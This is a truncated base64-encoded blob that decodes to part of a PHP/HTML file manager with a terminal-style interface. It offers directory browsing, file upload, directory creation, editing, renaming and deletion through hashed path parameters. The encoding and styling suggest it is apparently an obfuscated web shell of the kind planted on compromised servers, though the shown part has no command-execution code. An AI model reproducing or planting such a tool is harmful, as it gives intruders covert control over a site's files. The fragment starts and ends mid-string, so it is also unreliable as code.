rZ3JvdW5kOiByZ2JhKDAsMCwwLDAuMik7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICAuY29uc29sZS1tc2cuc3VjY2VzcyB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXN1Y2Nlc3MpOw0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXN1Y2Nlc3MpOw0KICAgICAgICB9DQogICAgICAgIC5jb25zb2xlLW1zZy5lcnJvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLWVycm9yKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS1lcnJvcik7DQogICAgICAgIH0NCiAgICAgICAgLmNvbnNvbGUtbXNnOjpiZWZvcmUgew0KICAgICAgICAgICAgY29udGVudDogIj4+ICI7DQogICAgICAgICAgICBvcGFjaXR5OiAwLjc7DQogICAgICAgIH0NCg0KICAgICAgICAuZmlsZS1oZWFkZXIgew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgYm9yZGVyLWJvdHRvbTogMXB4IGRhc2hlZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDVweDsgbWFyZ2luLWJvdHRvbTogNXB4OyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgIH0NCg0KICAgICAgICAuZmlsZS1yb3cgew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgcGFkZGluZzogNHB4IDA7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgcmdiYSg2MiwgNTMsIDQ2LCAwLjUpOw0KICAgICAgICB9DQogICAgICAgIC5maWxlLXJvdzpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjAwLCAxNTUsIDEwOSwgMC4xKTsgfQ0KDQogICAgICAgIC5jb2wtcGVybSB7IHdpZHRoOiA1MHB4OyBjb2xvcjogdmFyKC0tdGV4dC1kaW0pOyB9DQogICAgICAgIC5jb2wtc2l6ZSB7IHdpZHRoOiA4MHB4OyB0ZXh0LWFsaWduOiByaWdodDsgcGFkZGluZy1yaWdodDogMTVweDsgY29sb3I6IHZhcigtLXRleHQtZGltKTsgfQ0KICAgICAgICAuY29sLWRhdGUgeyB3aWR0aDogMTIwcHg7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IH0NCiAgICAgICAgLmNvbC1uYW1lIHsgZmxleDogMTsgZm9udC13ZWlnaHQ6IGJvbGQ7IH0NCiAgICAgICAgLmNvbC1hY3Rpb25zIHsgd2lkdGg6IDE4MHB4OyB0ZXh0LWFsaWduOiByaWdodDsgfQ0KDQogICAgICAgIC5pcy1kaXIgLmNvbC1uYW1lIHsgY29sb3I6IHZhcigtLWFjY2VudCk7IH0NCiAgICAgICAgLmlzLWxpbmsgeyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiBpbmhlcml0OyBkaXNwbGF5OiBibG9jazsgfQ0KICAgICAgICAuaXMtbGluazpob3ZlciB7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyB9DQoNCiAgICAgICAgLmNtZC1saW5rIHsNCiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMHB4OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IGN1cnNvcjogcG9pbnRlcjsgZm9udC1zaXplOiAxMnB4Ow0KICAgICAgICB9DQogICAgICAgIC5jbWQtbGluazpob3ZlciB7IGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOyBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1hY2NlbnQpOyBjb2xvcjogdmFyKC0tYmctZGFyayk7IH0NCg0KICAgICAgICAvKiBCb3R0b20gUGFuZWwgKi8NCiAgICAgICAgLmJvdHRvbS1wYW5lbCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBwYWRkaW5nOiAxMHB4OyBkaXNwbGF5OiBmbGV4OyBnYXA6IDEwcHg7DQogICAgICAgIH0NCiAgICAgICAgLmNtZC1saW5lIHsgY29sb3I6IHZhcigtLWFjY2VudCk7IG1hcmdpbi1yaWdodDogNXB4OyB3aGl0ZS1zcGFjZTogbm93cmFwOyB9DQogICAgICAgIC5hY3Rpb24tZm9ybSB7IGRpc3BsYXk6IGZsZXg7IGdhcDogNXB4OyB3aWR0aDogMTAwJTsgYWxpZ24taXRlbXM6IGNlbnRlcjsgfQ0KICAgICAgICANCiAgICAgICAgaW5wdXRbdHlwZT0idGV4dCJdLCB0ZXh0YXJlYSwgaW5wdXRbdHlwZT0iZmlsZSJdIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLWJnLWlucHV0KTsgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOyBmb250LWZhbWlseTogdmFyKC0tdGVybWluYWwtZm9udCk7IHBhZGRpbmc6IDVweDsgb3V0bGluZTogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICBpbnB1dFt0eXBlPSJ0ZXh0Il0geyBmbGV4OiAxOyB9DQogICAgICAgIA0KICAgICAgICBidXR0b24gew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0tYm9yZGVyKTsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1hY2NlbnQpOyBmb250LWZhbWlseTogdmFyKC0tdGVybWluYWwtZm9udCk7DQogICAgICAgICAgICBwYWRkaW5nOiA0cHggMTJweDsgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICB9DQogICAgICAgIGJ1dHRvbjpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IHZhcigtLWFjY2VudCk7IGNvbG9yOiB2YXIoLS1iZy1kYXJrKTsgfQ0KDQogICAgICAgIC8qIEdFTkVSSUMgTU9EQUwgU1RZTEUgKi8NCiAgICAgICAgLm1vZGFsLW92ZXJsYXkgew0KICAgICAgICAgICAgZGlzcGxheTogbm9uZTsgcG9zaXRpb246IGZpeGVkOyB0b3A6IDA7IGxlZnQ6IDA7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuODUpOyB6LWluZGV4OiA5OTk7DQogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm1vZGFsLWJveCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1wYW5lbCk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWFjY2VudCk7DQogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OyBtaW4td2lkdGg6IDMwMHB4Ow0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgZ2FwOiAxNXB4Ow0KICAgICAgICB9DQoNCiAgICAgICAgLm1vZGFsLWhlYWRlciB7IGZvbnQtd2VpZ2h0OiBib2xkOyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC1zaXplOiAxNXB4OyB9DQogICAgICAgIA0KICAgICAgICAubW9kYWwtZm9vdGVyIHsgdGV4dC1hbGlnbjogcmlnaHQ7IGRpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogZmxleC1lbmQ7IGdhcDogMTBweDsgfQ0KDQogICAgICAgIC8qIEVkaXRvciBTcGVjaWZpYyAqLw0KICAgICAgICAjZWRpdG9yLW1vZGFsIC5tb2RhbC1ib3ggeyB3aWR0aDogODAlOyBoZWlnaHQ6IDgwJTsgfQ0KICAgICAgICAjZWRpdG9yLWFyZWEgeyBmbGV4OiAxOyByZXNpemU6IG5vbmU7IGJhY2tncm91bmQ6IHZhcigtLWJnLWlucHV0KTsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7IGZvbnQtZmFtaWx5OiB2YXIoLS10ZXJtaW5hbC1mb250KTsgcGFkZGluZzogMTBweDsgfQ0KDQogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXIgeyB3aWR0aDogOHB4OyB9DQogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2sgeyBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1kYXJrKTsgfQ0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHsgYmFja2dyb3VuZDogdmFyKC0tYm9yZGVyKTsgfQ0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iOmhvdmVyIHsgYmFja2dyb3VuZDogdmFyKC0tYWNjZW50KTsgfQ0KDQogICAgPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KDQo8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC13aW5kb3ciPg0KICAgIDwhLS0gSGVhZGVyIC0tPg0KICAgIDxkaXYgY2xhc3M9InRvcC1iYXIiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJ3aW5kb3ctY29udHJvbHMiPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IHJlZCI+PC9zcGFuPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IHllbGxvdyI+PC9zcGFuPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IGdyZWVuIj48L3NwYW4+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICANCiAgICAgICAgPGRpdiBjbGFzcz0ibmF2LWFyZWEiPg0KICAgICAgICAgICAgPD9waHAgaWYgKCRjYW5fZ29fdXApOiA/Pg0KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij88P3BocCBlY2hvIFBfRElSOyA/Pj08P3BocCBlY2hvIGdldF9oYXNoKCRwYXJlbnRfZGlyKTsgPz4iIGNsYXNzPSJidG4tdXAiIHRpdGxlPSJQYXJlbnQgRGlyZWN0b3J5Ij4mbHQ7IFVQPC9hPg0KICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYnRuLXVwIGRpc2FibGVkIj4mbHQ7IFVQPC9zcGFuPg0KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InBhdGgtZGlzcGxheSIgdGl0bGU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY3VycmVudF9kaXIpOyA/PiI+DQogICAgICAgICAgICAgICAgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjdXJyZW50X2Rpcik7ID8+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQoNCiAgICA8IS0tIE1haW4gQ29udGVudCAtLT4NCiAgICA8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPg0KICAgICAgICA8IS0tIFN0YXR1cyBNZXNzYWdlIC0tPg0KICAgICAgICA8P3BocCBpZiAoJHN0YXR1c19tc2cpOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29uc29sZS1tc2cgPD9waHAgZWNobyAkc3RhdHVzX3R5cGU7ID8+Ij4NCiAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRzdGF0dXNfbXNnOyA/Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KDQogICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtaGVhZGVyIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1wZXJtIj5QZXJtczwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXNpemUiPlNpemU8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1kYXRlIj5Nb2RpZmllZDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW5hbWUiPk5hbWU8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1hY3Rpb25zIj5BY3Rpb25zPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KDQogICAgICAgIDw/cGhwIGZvcmVhY2ggKCRhbGxfaXRlbXMgYXMgJGl0ZW0pOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1yb3cgPD9waHAgZWNobyAkaXRlbVsnaXNfZGlyJ10gPyAnaXMtZGlyJyA6ICdpcy1maWxlJzsgPz4iPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1wZXJtIj48P3BocCBlY2hvICRpdGVtWydwZXJtcyddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zaXplIj48P3BocCBlY2hvICRpdGVtWydpc19kaXInXSA/ICdESVInIDogZm9ybWF0X3NpemUoJGl0ZW1bJ3NpemUnXSk7ID8+PC9kaXY+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWRhdGUiPjw/cGhwIGVjaG8gJGl0ZW1bJ21vZCddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1uYW1lIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpdGVtWydpc19kaXInXSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/PD9waHAgZWNobyBQX0RJUjsgPz49PD9waHAgZWNobyAkaXRlbVsnaGFzaCddOyA/PiIgY2xhc3M9ImlzLWxpbmsiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbmFtZSddKTsgPz48L2E+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1hY3Rpb25zIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCEkaXRlbVsnaXNfZGlyJ10pOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuRWRpdG9yKCc8P3BocCBlY2hvICRpdGVtWydoYXNoJ107ID8+JywgJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhhZGRzbGFzaGVzKCRpdGVtWyduYW1lJ10pKTsgPz4nKSI+W2VkaXRdPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuUmVuYW1lTW9kYWwoJzw/cGhwIGVjaG8gJGl0ZW1bJ2hhc2gnXTsgPz4nLCAnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkpOyA/PicpIj5bcmVuYW1lXTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuRGVsZXRlTW9kYWwoJzw/cGhwIGVjaG8gJGl0ZW1bJ2hhc2gnXTsgPz4nLCAnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkpOyA/PicpIj5bZGVsZXRlXTwvc3Bhbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/Pg0KICAgICAgICANCiAgICAgICAgPD9waHAgaWYgKGVtcHR5KCRhbGxfaXRlbXMpKTogPz4NCiAgICAgICAgICAgIDxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDsgY29sb3I6dmFyKC0tdGV4dC1kaW0pOyI+RGlyZWN0b3J5IGlzIGVtcHR5LjwvZGl2Pg0KICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICA8L2Rpdj4NCg0KICAgIDwhLS0gQm90dG9tIFBhbmVsIC0tPg0KICAgIDxkaXYgY2xhc3M9ImJvdHRvbS1wYW5lbCI+DQogICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgY2xhc3M9ImFjdGlvbi1mb3JtIiBzdHlsZT0iZmxleDoyOyI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvIFBfQUNUSU9OOyA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gQV9VUDsgPz4iPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX1RBUkc7ID8+IiB2YWx1ZT0iPD9waHAgZWNobyBnZXRfaGFzaCgkY3VycmVudF9kaXIpOyA/PiI+DQogICAgICAgICAgICA8c3BhbiBjbGFzcz0iY21kLWxpbmUiPnVwbG9hZCZndDs8L3NwYW4+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iPD9waHAgZWNobyBQX0ZJTEU7ID8+Ij4NCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5TZW5kPC9idXR0b24+DQogICAgICAgIDwvZm9ybT4NCg0KICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGNsYXNzPSJhY3Rpb24tZm9ybSIgc3R5bGU9ImZsZXg6MTsiPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX0FDVElPTjsgPz4iIHZhbHVlPSI8P3BocCBlY2hvIEFfTUtESVI7ID8+Ij4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9UQVJHOyA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gZ2V0X2hhc2goJGN1cnJlbnRfZGlyKTsgPz4iPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5lIj5ta2RpciZndDs8L3NwYW4+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyBQX05BTUU7ID8+IiBwbGFjZWhvbGRlcj0ibmV3X2ZvbGRlciIgcmVxdWlyZWQ+DQogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCI+KzwvYnV0dG9uPg0KICAgICAgICA8L2Zvcm0+DQogICAgPC9kaXY+DQo8L2Rpdj4NCg0KPCEtLSBISURERU4gRk9STVMgRk9SIEFDVElPTlMgLS0+DQo8Zm9ybSBpZD0iYWN0aW9uLWZvcm0iIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9BQ1RJT047ID8+IiBpZD0iYWN0LWFjdGlvbiI+DQogICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX0hBU0g7ID8+IiBpZD0iYWN0LWhhc2giPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9OQU1FOyA/PiIgaWQ9ImFjdC1uZXduYW1lIj4NCjwvZm9ybT4NCg0KPCEtLSBERUxFVEUgTU9EQUwgLS0+DQo8ZGl2IGlkPSJkZWxldGUtbW9kYWwiIGNsYXNzPSJtb2RhbC1vdmVybGF5Ij4NCiAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib3giPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPkRlbGV0ZSBDb25maXJtYXRpb248L2Rpdj4NCiAgICAgICAgPGRpdj5BcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIDxiIGlkPSJkZWwtZmlsZW5hbWUiPmZpbGU8L2I+PzwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjb25maXJtRGVsZXRlKCkiPkRlbGV0ZTwvYnV0dG9uPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8IS0tIFJFTkFNRSBNT0RBTCAtLT4NCjxkaXYgaWQ9InJlbmFtZS1tb2RhbCIgY2xhc3M9Im1vZGFsLW92ZXJsYXkiPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJveCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+UmVuYW1lPC9kaXY+DQogICAgICAgIDxkaXY+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgaWQ9InJlbi1pbnB1dCIgc3R5bGU9IndpZHRoOjEwMCU7IHBhZGRpbmc6OHB4OyI+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjb25maXJtUmVuYW1lKCkiPlJlbmFtZTwvYnV0dG9uPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8IS0tIEVESVRPUiBNT0RBTCAtLT4NCjxkaXYgaWQ9ImVkaXRvci1tb2RhbCIgY2xhc3M9Im1vZGFsLW92ZXJsYXkiPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJveCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciIgc3R5bGU9ImRpc3BsYXk6ZmxleDsganVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47Ij4NCiAgICAgICAgICAgIDxzcGFuIGlkPSJlZGl0b3ItZmlsZW5hbWUiPkVkaXRpbmc8L3NwYW4+DQogICAgICAgICAgICA8c3BhbiBzdHlsZT0iY3Vyc29yOnBvaW50ZXI7IiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIj5beF08L3NwYW4+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8dGV4dGFyZWEgaWQ9ImVkaXRvci1hcmVhIj48L3RleHRhcmVhPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJzYXZlRWRpdCgpIj5TYXZlPC9idXR0b24+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KPC9kaXY+DQoNCjxzY3JpcHQ+DQogICAgLy8gSGVscGVycw0KICAgIGNvbnN0IFBfQUNUSU9OID0gJzw/cGhwIGVjaG8gUF9BQ1RJT047ID8+JzsNCiAgICBjb25zdCBBX0RFTCA9ICc8P3BocCBlY2hvIEFfREVMOyA/Pic7DQogICAgY29uc3QgQV9SRU4gPSAnPD9waHAgZWNobyBBX1JFTjsgPz4nOw0KICAgIGNvbnN0IEFfRURJVCA9ICc8P3BocCBlY2hvIEFfRURJVDsgPz4nOw0KICAgIA0KICAgIGxldCBjdXJyZW50QWN0aW9uSGFzaCA9IG51bGw7DQoNCiAgICAvLyBNb2RhbCBIYW5kbGVycw0KICAgIGZ1bmN0aW9uIGNsb3NlTW9kYWxzKCkgew0KICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcubW9kYWwtb3ZlcmxheScpLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICdub25lJyk7DQogICAgICAgIGN1cnJlbnRBY3Rpb25IYXNoID0gbnVsbDsNCiAgICB9DQoNCiAgICAvLyBEZWxldGUgTG9naWMNCiAgICBmdW5jdGlvbiBvcGVuRGVsZXRlTW9kYWwoaGFzaCwgbmFtZSkgew0KICAgICAgICBjdXJyZW50QWN0aW9uSGFzaCA9IGhhc2g7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkZWwtZmlsZW5hbWUnKS5pbm5lclRleHQgPSBuYW1lOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGVsZXRlLW1vZGFsJykuc3R5bGUuZGlzcGxheSA9ICdmbGV4JzsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjb25maXJtRGVsZXRlKCkgew0KICAgICAgICBpZihjdXJyZW50QWN0aW9uSGFzaCkgew0KICAgICAgICAgICAgc3VibWl0QWN0aW9uKEFfREVMLCBjdXJyZW50QWN0aW9uSGFzaCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBSZW5hbWUgTG9naWMNCiAgICBmdW5jdGlvbiBvcGVuUmVuYW1lTW9kYWwoaGFzaCwgbmFtZSkgew0KICAgICAgICBjdXJyZW50QWN0aW9uSGFzaCA9IGhhc2g7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW4taW5wdXQnKS52YWx1ZSA9IG5hbWU7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW5hbWUtbW9kYWwnKS5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGNvbmZpcm1SZW5hbWUoKSB7DQogICAgICAgIGlmKGN1cnJlbnRBY3Rpb25IYXNoKSB7DQogICAgICAgICAgICBsZXQgbmV3TmFtZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW4taW5wdXQnKS52YWx1ZTsNCiAgICAgICAgICAgIGlmKG5ld05hbWUpIHsNCiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rpb24tZm9ybScpOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtYWN0aW9uJykudmFsdWUgPSBBX1JFTjsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0LWhhc2gnKS52YWx1ZSA9IGN1cnJlbnRBY3Rpb25IYXNoOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtbmV3bmFtZScpLnZhbHVlID0gbmV3TmFtZTsNCiAgICAgICAgICAgICAgICBmb3JtLnN1Ym1pdCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgLy8gRWRpdG9yIExvZ2ljDQogICAgZnVuY3Rpb24gb3BlbkVkaXRvcihoYXNoLCBuYW1lKSB7DQogICAgICAgIGN1cnJlbnRBY3Rpb25IYXNoID0gaGFzaDsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXRvci1maWxlbmFtZScpLmlubmVyVGV4dCA9ICdFZGl0aW5nOiAnICsgbmFtZTsNCiAgICAgICAgDQogICAgICAgIHZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsNCiAgICAgICAgeGhyLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgaWYgKHhoci5yZWFkeVN0YXRlID09PSA0KSB7DQogICAgICAgICAgICAgICAgaWYgKHhoci5zdGF0dXMgPT09IDIwMCkgew0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50Qnl